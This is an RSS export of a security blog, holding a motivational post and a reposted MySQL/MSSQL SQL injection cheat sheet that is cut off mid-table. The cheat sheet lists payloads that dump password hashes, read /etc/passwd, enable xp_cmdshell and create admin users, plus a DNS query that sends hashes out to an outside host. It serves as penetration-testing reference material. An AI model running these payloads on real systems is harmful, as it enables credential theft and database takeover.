<?xml version="1.0" encoding="iso-8859-1"?><!-- generator="b2evolution/3.3.3" -->
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:admin="http://webns.net/mvcb/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>JF's security (and other things) log</title>
		<link>http://www.bethlehem.eu/blog/</link>
		<atom:link rel="self" type="application/rss+xml" href="http://www.bethlehem.eu/blog/?tempskin=_rss2" />
		<description></description>
		<language>en-US</language>
		<docs>http://blogs.law.harvard.edu/tech/rss</docs>
		<admin:generatorAgent rdf:resource="http://b2evolution.net/?v=3.3.3"/>
		<ttl>60</ttl>
				<item>
			<title>The Benefits of Pissing People Off</title>
			<link>http://www.bethlehem.eu/blog/2010/08/the-benefits-of-pissing-people-off</link>
			<pubDate>Fri, 06 Aug 2010 13:06:04 +0000</pubDate>			<dc:creator>JF</dc:creator>
			<category domain="main">Family</category>			<guid isPermaLink="false">40@http://www.bethlehem.eu/blog/</guid>
						<description>&lt;p&gt;From &lt;a href=&quot;http://www.fourhourworkweek.com/blog/2009/11/25/the-benefits-of-pissing-people-off/&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;Right alongside the cash and credit cards, I keep a number of strange things in my wallet.&lt;br /&gt;&lt;br /&gt;The largest is a folded-up page from the July 6, 2009 issue of Fortune magazine. In a profile, Scott Boras, widely regarded as the most powerful agent in professional baseball, describes a dinner with one of his mentors after a record-breaking contract:&lt;br /&gt;&lt;br /&gt; &amp;#8220;He said that if you are really effective at what you do, 95% of the things said about you will be negative. Keep your head on straight, don&amp;#8217;t get emotional, take the heat, and just make sure your clients are smiling.&amp;#8221;&lt;br /&gt;&lt;br /&gt;Doing anything remotely interesting will bring criticism. Attempting to do anything large-scale and interesting will bring armies of detractors and saboteurs. This is fine &amp;#8211; if you are willing to take the heat.&lt;br /&gt;&lt;br /&gt;There are good reasons to be willing, even eager.&lt;br /&gt;&lt;br /&gt;Colin Powell makes the case: pissing people off is both inevitable and necessary. This doesn&amp;#8217;t mean that the goal is pissing people off. Pissing people off doesn&amp;#8217;t mean you&amp;#8217;re doing the right things, but doing the right things will almost inevitably piss people off.&lt;br /&gt;&lt;br /&gt;Understand the difference.&lt;br /&gt;&lt;br /&gt; Being responsible sometimes means pissing people off.&lt;br /&gt;&lt;br /&gt; Good leadership involves responsibility to the welfare of the group, which means that some people will get angry at your actions and decisions. It&amp;#8217;s inevitable, if you&amp;#8217;re honorable. Trying to get everyone to like you is a sign of mediocrity: you&amp;#8217;ll avoid the tough decisions, you&amp;#8217;ll avoid confronting the people who need to be confronted, and you&amp;#8217;ll avoid offering differential rewards based on differential performance because some people might get upset.&lt;br /&gt;&lt;br /&gt; Ironically, by procrastinating on the difficult choices, by trying not to get anyone mad, and by treating everyone equally &amp;#8220;nicely&amp;#8221; regardless of their contributions, you&amp;#8217;ll simply ensure that the only people you&amp;#8217;ll wind up angering are the most creative and productive people in the organization. (full presentation here)&lt;br /&gt;&lt;br /&gt;Don&amp;#8217;t go through life with kid gloves on. The stakes are too high, and it is oftentimes more important to give people what they need, rather than what they want.&lt;br /&gt;&lt;br /&gt;This includes ourselves. By facing the fire early and often, we ensure the confidence and breathing room later to do bigger and better things.&lt;br /&gt;&lt;br /&gt;Or to just sit back in a hammock with the peace of mind that only comes with belief that you did your best.&lt;br /&gt;&lt;br /&gt;Be criticized for doing small &amp;#8220;safe&amp;#8221; things, or be criticized for doing big things that you&amp;#8217;re passionate about. That is the choice. The criticism will come either way, whether in the form of self-talk (the former) or ankle biters (the latter).&lt;br /&gt;&lt;br /&gt;Let the critics criticize. It&amp;#8217;s the builders who count.&lt;br /&gt;&lt;br /&gt;###&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>From <a href="http://www.fourhourworkweek.com/blog/2009/11/25/the-benefits-of-pissing-people-off/">here</a>:</p>
<p><br />Right alongside the cash and credit cards, I keep a number of strange things in my wallet.<br /><br />The largest is a folded-up page from the July 6, 2009 issue of Fortune magazine. In a profile, Scott Boras, widely regarded as the most powerful agent in professional baseball, describes a dinner with one of his mentors after a record-breaking contract:<br /><br /> &#8220;He said that if you are really effective at what you do, 95% of the things said about you will be negative. Keep your head on straight, don&#8217;t get emotional, take the heat, and just make sure your clients are smiling.&#8221;<br /><br />Doing anything remotely interesting will bring criticism. Attempting to do anything large-scale and interesting will bring armies of detractors and saboteurs. This is fine &#8211; if you are willing to take the heat.<br /><br />There are good reasons to be willing, even eager.<br /><br />Colin Powell makes the case: pissing people off is both inevitable and necessary. This doesn&#8217;t mean that the goal is pissing people off. Pissing people off doesn&#8217;t mean you&#8217;re doing the right things, but doing the right things will almost inevitably piss people off.<br /><br />Understand the difference.<br /><br /> Being responsible sometimes means pissing people off.<br /><br /> Good leadership involves responsibility to the welfare of the group, which means that some people will get angry at your actions and decisions. It&#8217;s inevitable, if you&#8217;re honorable. Trying to get everyone to like you is a sign of mediocrity: you&#8217;ll avoid the tough decisions, you&#8217;ll avoid confronting the people who need to be confronted, and you&#8217;ll avoid offering differential rewards based on differential performance because some people might get upset.<br /><br /> Ironically, by procrastinating on the difficult choices, by trying not to get anyone mad, and by treating everyone equally &#8220;nicely&#8221; regardless of their contributions, you&#8217;ll simply ensure that the only people you&#8217;ll wind up angering are the most creative and productive people in the organization. (full presentation here)<br /><br />Don&#8217;t go through life with kid gloves on. The stakes are too high, and it is oftentimes more important to give people what they need, rather than what they want.<br /><br />This includes ourselves. By facing the fire early and often, we ensure the confidence and breathing room later to do bigger and better things.<br /><br />Or to just sit back in a hammock with the peace of mind that only comes with belief that you did your best.<br /><br />Be criticized for doing small &#8220;safe&#8221; things, or be criticized for doing big things that you&#8217;re passionate about. That is the choice. The criticism will come either way, whether in the form of self-talk (the former) or ankle biters (the latter).<br /><br />Let the critics criticize. It&#8217;s the builders who count.<br /><br />###</p>]]></content:encoded>
								<comments>http://www.bethlehem.eu/blog/2010/08/the-benefits-of-pissing-people-off#comments</comments>
			<wfw:commentRss>http://www.bethlehem.eu/blog/?tempskin=_rss2&#38;disp=comments&#38;p=40</wfw:commentRss>
		</item>
				<item>
			<title>SQL Cheat sheets</title>
			<link>http://www.bethlehem.eu/blog/2010/07/sql-cheat-sheets</link>
			<pubDate>Wed, 07 Jul 2010 09:13:34 +0000</pubDate>			<dc:creator>JF</dc:creator>
			<category domain="main">Uncategorized</category>			<guid isPermaLink="false">39@http://www.bethlehem.eu/blog/</guid>
						<description>&lt;p&gt;Thanks to &lt;a href=&quot;http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/&quot;&gt;PentestMonkey.net&lt;/a&gt; for this.&lt;br /&gt;&lt;br /&gt;MySQL:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;table border=&quot;1&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT @@version &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Comments&amp;nbsp;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 1; #comment&lt;br /&gt;SELECT /*comment*/1; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current User &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 user();&lt;br /&gt; SELECT system_user();&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Users&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 user FROM mysql.user; -- priv&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Password Hashes&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 host, user, password FROM mysql.user; -- priv&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Password&lt;br /&gt;
 Cracker&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;http://www.openwall.com/john/&quot;&gt;John the &lt;br /&gt;
Ripper&lt;/a&gt;  will crack MySQL password hashes. &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List &lt;br /&gt;
Privileges&lt;/td&gt;&lt;td&gt;&lt;p&gt;SELECT grantee, privilege_type, is_grantable FROM &lt;br /&gt;
information_schema.user_privileges; -- list user privs&amp;nbsp;&lt;/p&gt;&lt;p&gt;SELECT &lt;br /&gt;
host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, &lt;br /&gt;
Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, &lt;br /&gt;
File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, &lt;br /&gt;
Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, &lt;br /&gt;
Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- &lt;br /&gt;
priv, list user privs&lt;/p&gt;&lt;p&gt;SELECT grantee, table_schema, privilege_type&lt;br /&gt;
 FROM information_schema.schema_privileges; -- list privs on databases &lt;br /&gt;
(schemas)&lt;/p&gt;&lt;p&gt;SELECT table_schema, table_name, column_name, &lt;br /&gt;
privilege_type FROM information_schema.column_privileges; -- list privs &lt;br /&gt;
on columns&amp;nbsp;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List DBA Accounts&lt;/td&gt;&lt;td&gt;&lt;p&gt;SELECT &lt;br /&gt;
grantee, privilege_type, is_grantable FROM &lt;br /&gt;
information_schema.user_privileges WHERE privilege_type = 'SUPER';&amp;nbsp;&lt;/p&gt;&lt;p&gt;
 SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current&lt;br /&gt;
 Database&amp;nbsp;  &lt;/td&gt;&lt;td&gt;SELECT database() &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Databases &lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 schema_name FROM information_schema.schemata; -- for MySQL &amp;gt;= v5.0&lt;br /&gt;SELECT
 distinct(db) FROM mysql.db -- priv&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Columns &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 table_schema, table_name, column_name FROM information_schema.columns &lt;br /&gt;
WHERE table_schema != 'mysql' AND table_schema != 'information_schema'&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List&lt;br /&gt;
 Tables &lt;/td&gt;&lt;td&gt;SELECT table_schema,table_name FROM &lt;br /&gt;
information_schema.tables WHERE table_schema != 'mysql' AND table_schema&lt;br /&gt;
 != 'information_schema'&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Find Tables From Column Name &lt;/td&gt;&lt;td&gt;
 SELECT table_schema, table_name FROM information_schema.columns WHERE &lt;br /&gt;
column_name = 'username'; -- find table which have a column called &lt;br /&gt;
'username'&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select Nth Row&lt;/td&gt;&lt;td&gt;&lt;p&gt;SELECT &lt;br /&gt;
host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from&lt;br /&gt;
 0&lt;br /&gt;SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows &lt;br /&gt;
numbered from 0&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select Nth Char  &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 substr('abcd', 3, 1); # returns c&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Bitwise AND&amp;nbsp; &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 6 &amp;amp; 2; # returns 2&lt;br /&gt;SELECT 6 &amp;amp; 1; # returns 0&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;ASCII&lt;br /&gt;
 Value -&amp;gt; Char&lt;/p&gt;&lt;/td&gt;&lt;td&gt;SELECT char(65); # returns A&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Char&lt;br /&gt;
 -&amp;gt; ASCII Value&lt;/td&gt;&lt;td&gt;SELECT ascii('A'); # returns 65&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Casting&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 cast('1' AS unsigned integer);&lt;br /&gt;SELECT cast('123' AS char);&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;String&lt;br /&gt;
 Concatenation&lt;/td&gt;&lt;td&gt; SELECT CONCAT('A','B'); #returns AB&lt;br /&gt;SELECT 
CONCAT('A','B','C'); # returns ABC&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;If Statement&lt;/p&gt;&lt;/td&gt;&lt;td&gt;
 SELECT if(1=1,'foo','bar'); -- returns 'foo'&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Case &lt;br /&gt;
Statement&lt;/td&gt;&lt;td&gt; SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # &lt;br /&gt;
returns A&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Avoiding Quotes &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT &lt;br /&gt;
0x414243; # returns ABC&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Time Delay&amp;nbsp; &lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;SELECT&lt;br /&gt;
 BENCHMARK(1000000,MD5('A'));&lt;br /&gt;SELECT SLEEP(5); # &amp;gt;= 5.0.12&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Make&lt;br /&gt;
 DNS Requests&lt;/td&gt;&lt;td&gt;Impossible?&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Command Execution&lt;/td&gt;&lt;td&gt;&lt;p&gt;If&lt;br /&gt;
 mysqld (&amp;lt;5.0) is running as root AND you compromise a DBA account &lt;br /&gt;
you can execute OS commands by uploading a shared object file into &lt;br /&gt;
/usr/lib (or similar).&amp;nbsp; The .so file should contain a User Defined &lt;br /&gt;
Function (UDF).&amp;nbsp; &lt;a href=&quot;http://www.0xdeadbeef.info/exploits/raptor_udf.c&quot;&gt;raptor_udf.c&lt;/a&gt;&lt;br /&gt;
  explains exactly how you go about this.&amp;nbsp; Remember to compile for the &lt;br /&gt;
target architecture which may or may not be the same as your attack &lt;br /&gt;
platform. &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Local File Access&lt;br /&gt;&lt;/td&gt;&lt;td&gt;...' UNION&lt;br /&gt;
 ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read &lt;br /&gt;
world-readable files.&lt;br /&gt;SELECT * FROM mytable INTO dumpfile 
'/tmp/somefile'; -- priv, write to file system&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Hostname,&lt;br /&gt;
 IP Address&lt;/td&gt;&lt;td&gt;Impossible?&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Create Users&lt;br /&gt;&lt;/td&gt;&lt;td&gt;CREATE&lt;br /&gt;
 USER test1 IDENTIFIED BY 'pass1'; -- priv&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Delete &lt;br /&gt;
Users&lt;br /&gt;&lt;/td&gt;&lt;td&gt;DROP USER test1; -- priv&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Make User &lt;br /&gt;
DBA&lt;br /&gt;&lt;/td&gt;&lt;td&gt;GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Location&lt;br /&gt;
 of DB files&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT @@datadir; &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Default/System&lt;br /&gt;
 Databases&lt;br /&gt;&lt;/td&gt;&lt;td&gt;information_schema (&amp;gt;= mysql 5.0)&lt;br /&gt;mysql&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;MSSQL:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;table border=&quot;1&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT @@version&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Comments&amp;nbsp;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 1 -- comment&lt;br /&gt;SELECT /*comment*/1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current User &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 user_name(); &lt;br /&gt;SELECT system_user; &lt;br /&gt;SELECT user; &lt;br /&gt;SELECT &lt;br /&gt;
loginame FROM master..sysprocesses WHERE spid = @@SPID&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List&lt;br /&gt;
 Users&lt;/td&gt;&lt;td&gt;SELECT name FROM master..syslogins &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List&lt;br /&gt;
 Password Hashes&lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT name, password FROM &lt;br /&gt;
master..sysxlogins -- priv, mssql 2000;&lt;br /&gt;SELECT name, 
master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- priv, 
mssql 2000.&amp;nbsp; Need to convert to hex to return hashes in MSSQL error 
message / some version of query analyzer.&lt;br /&gt;SELECT name, password_hash &lt;br /&gt;
FROM master.sys.sql_logins -- priv, mssql 2005;&lt;br /&gt;SELECT name + '-' + &lt;br /&gt;
master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins &lt;br /&gt;
-- priv, mssql 2005    &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&amp;nbsp;Password Cracker&lt;/td&gt;&lt;td&gt;MSSQL&lt;br /&gt;
 2000 and 2005 Hashes are both SHA1-based.&amp;nbsp; &lt;a href=&quot;https://labs.portcullis.co.uk/application/phrasen-drescher/&quot;&gt;phrasen|drescher&lt;/a&gt;&lt;br /&gt;
  can crack these.&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Privileges&lt;/td&gt;&lt;td&gt;Impossible?&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List&lt;br /&gt;
 DBA Accounts&lt;/td&gt;&lt;td&gt;TODO&lt;br /&gt;SELECT is_srvrolemember('sysadmin'); -- is
 your account a sysadmin?&amp;nbsp; returns 1 for true, 0 for false, NULL for 
invalid role.&amp;nbsp; Also try 'bulkadmin', 'systemadmin' and other values from
 the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms176015.aspx&quot;&gt;documentation&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;
 SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1&lt;br /&gt;
 for true, 0 for false, NULL for invalid role/username.&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current&lt;br /&gt;
 Database&amp;nbsp;  &lt;/td&gt;&lt;td&gt;SELECT DB_NAME()&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Databases &lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 name FROM master..sysdatabases; &lt;br /&gt;SELECT DB_NAME(N); -- for N = 0, 1,
 2, ... &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Columns &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT name FROM&lt;br /&gt;
 syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = &lt;br /&gt;
'mytable'); -- for the current DB only&lt;br /&gt;SELECT 
master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM 
master..syscolumns, master..sysobjects WHERE 
master..syscolumns.id=master..sysobjects.id AND 
master..sysobjects.name='sometable'; -- list colum names and types for 
master..sometable&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;List Tables &lt;/td&gt;&lt;td&gt;SELECT name &lt;br /&gt;
FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views&lt;br /&gt;SELECT
 name FROM someotherdb..sysobjects WHERE xtype = 'U';&lt;br /&gt;SELECT &lt;br /&gt;
master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM &lt;br /&gt;
master..syscolumns, master..sysobjects WHERE &lt;br /&gt;
master..syscolumns.id=master..sysobjects.id AND &lt;br /&gt;
master..sysobjects.name='sometable'; -- list colum names and types for &lt;br /&gt;
master..sometable&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Find Tables From Column Name &lt;/td&gt;&lt;td&gt;--&lt;br /&gt;
 NB: This example works only for the current database.&amp;nbsp; If you wan't to &lt;br /&gt;
search another db, you need to specify the db name (e.g. replace &lt;br /&gt;
sysobject with mydb..sysobjects).&lt;br /&gt;SELECT sysobjects.name as &lt;br /&gt;
tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns&lt;br /&gt;
 ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND &lt;br /&gt;
syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each &lt;br /&gt;
column containing the word 'password' &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select Nth Row&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name&lt;br /&gt;
 ASC) sq ORDER BY name DESC -- gets 9th row&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Select Nth&lt;br /&gt;
 Char  &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT substring('abcd', 3, 1) -- returns c&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Bitwise&lt;br /&gt;
 AND&amp;nbsp; &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT 6 &amp;amp; 2 -- returns 2&lt;br /&gt;SELECT 6 &amp;amp; 1 -- 
returns 0 &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;ASCII Value -&amp;gt; Char&lt;/p&gt;&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 char(0x41) -- returns A&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Char -&amp;gt; ASCII Value&lt;/td&gt;&lt;td&gt;SELECT&lt;br /&gt;
 ascii('A') - returns 65&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Casting&lt;/td&gt;&lt;td&gt;SELECT &lt;br /&gt;
CAST('1' as int);&lt;br /&gt;SELECT CAST(1 as char) &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;String&lt;br /&gt;
 Concatenation&lt;/td&gt;&lt;td&gt;SELECT 'A' + 'B' - returns AB&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;If&lt;br /&gt;
 Statement&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;span&gt;IF (1=1) SELECT 1 ELSE SELECT 2 -- &lt;br /&gt;
returns 1&lt;/span&gt; &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Case Statement&lt;/td&gt;&lt;td&gt;SELECT &lt;br /&gt;
CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1 &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Avoiding &lt;br /&gt;
Quotes &lt;br /&gt;&lt;/td&gt;&lt;td&gt;SELECT char(65)+char(66) -- returns AB&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Time&lt;br /&gt;
 Delay&amp;nbsp; &lt;br /&gt;&lt;/td&gt;&lt;td&gt;&amp;nbsp;WAITFOR DELAY '0:0:5' -- pause for 5 seconds &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Make&lt;br /&gt;
 DNS Requests&lt;/td&gt;&lt;td&gt;&lt;p&gt;   declare @host varchar(800); select @host = &lt;br /&gt;
name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + &lt;br /&gt;
@host + '\c$\boot.ini'''); -- nonpriv, works on 2000  &lt;/p&gt; &lt;p&gt;   declare&lt;br /&gt;
 @host varchar(800); select @host = name + '-' + &lt;br /&gt;
master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' &lt;br /&gt;
from sys.sql_logins; exec('xp_fileexist ''\\' + @host + &lt;br /&gt;
'\c$\boot.ini'''); -- priv, works on 2005&lt;br /&gt; &lt;/p&gt;&lt;p&gt;-- NB: &lt;br /&gt;
Concatenation is not allowed in calls to these SPs, hence why we have to&lt;br /&gt;
 use @host.&amp;nbsp; Messy but necessary. &lt;br /&gt;-- Also check out theDNS tunnel &lt;br /&gt;
feature of &lt;a href=&quot;http://sqlninja.sourceforge.net/sqlninja-howto.html&quot;&gt;sqlninja&lt;/a&gt;&lt;br /&gt;
 &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Command Execution&lt;/td&gt;&lt;td&gt;&lt;p&gt;EXEC xp_cmdshell &lt;br /&gt;
'net user'; -- priv&lt;/p&gt;&lt;p&gt;On MSSQL 2005 you may need to reactivate &lt;br /&gt;
xp_cmdshell first as it's disabled by default:&lt;br /&gt;EXEC sp_configure &lt;br /&gt;
'show advanced options', 1; -- priv&lt;br /&gt;RECONFIGURE; -- priv&lt;br /&gt;EXEC &lt;br /&gt;
sp_configure 'xp_cmdshell', 1; -- priv&lt;br /&gt;RECONFIGURE; -- priv &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Local&lt;br /&gt;
 File Access&lt;br /&gt;&lt;/td&gt;&lt;td&gt;CREATE TABLE mydata (line varchar(8000));&lt;br /&gt;BULK
 INSERT mydata FROM 'c:\boot.ini';&lt;br /&gt;DROP TABLE mydata;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Hostname,&lt;br /&gt;
 IP Address&lt;/td&gt;&lt;td&gt;SELECT HOST_NAME() &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Create &lt;br /&gt;
Users&lt;/td&gt;&lt;td&gt;EXEC &lt;a href=&quot;http://msdn2.microsoft.com/en-us/library/ms173768.aspx&quot;&gt;sp_addlogin&lt;/a&gt;&lt;br /&gt;
  'user', 'pass'; -- priv&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Drop Users&lt;/td&gt;&lt;td&gt;EXEC &lt;a href=&quot;http://msdn2.microsoft.com/en-us/library/ms189767.aspx&quot;&gt;sp_droplogin&lt;/a&gt;&lt;br /&gt;
  'user'; -- priv&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Make User DBA&lt;/td&gt;&lt;td&gt;EXEC &lt;a href=&quot;http://msdn2.microsoft.com/en-us/library/ms186320.aspx&quot;&gt;master.dbo.sp_addsrvrolemember&lt;/a&gt;&lt;br /&gt;
  'user', 'sysadmin; -- priv&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Location of DB files&lt;br /&gt;&lt;/td&gt;&lt;td&gt;TODO&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Default/System&lt;br /&gt;
